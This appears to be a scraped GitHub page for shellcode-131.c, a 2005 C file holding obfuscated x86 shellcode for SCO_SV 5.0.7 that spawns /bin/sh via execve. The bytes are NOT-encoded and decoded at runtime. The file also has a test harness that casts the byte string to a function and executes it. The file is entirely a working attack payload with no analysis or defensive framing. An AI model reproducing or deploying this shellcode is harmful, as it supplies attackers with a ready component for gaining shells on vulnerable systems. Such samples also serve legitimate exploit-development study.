-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathshellcode-131.c
executable file
·39 lines (31 loc) · 1.06 KB
/
shellcode-131.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
* minervini at neuralnoise dot com (c) 2005
* SCO_SV scosysv 3.2 5.0.7 i386, execve("/bin/sh", ..., NULL);
*/
#include "sys/types.h"
#include "stdio.h"
char *scode =
"\x31\xc9" // xor %ecx,%ecx
"\x89\xe3" // mov %esp,%ebx
"\x68\xd0\x8c\x97\xff" // push $0xff978cd0
"\x68\xd0\x9d\x96\x91" // push $0x91969dd0
"\x89\xe2" // mov %esp,%edx
"\x68\xff\xf8\xff\x6f" // push $0x6ffff8ff
"\x68\x9a\xff\xff\xff" // push $0xffffff9a
"\x80\xf1\x10" // xor $0x10,%cl
"\xf6\x13" // notb (%ebx)
"\x4b" // dec %ebx
"\xe2\xfb" // loop $-3
"\x91" // xchg %eax,%ecx
"\x50" // push %eax
"\x54" // push %esp
"\x52" // push %edx
"\x50" // push %eax
"\x34\x3b" // xor $0x3b,%al
"\xff\xe3"; // jmp *%ebx
int main () {
void (*code) () = (void *) scode;
printf("length: %d\n", strlen(scode));
code();
return (0);
}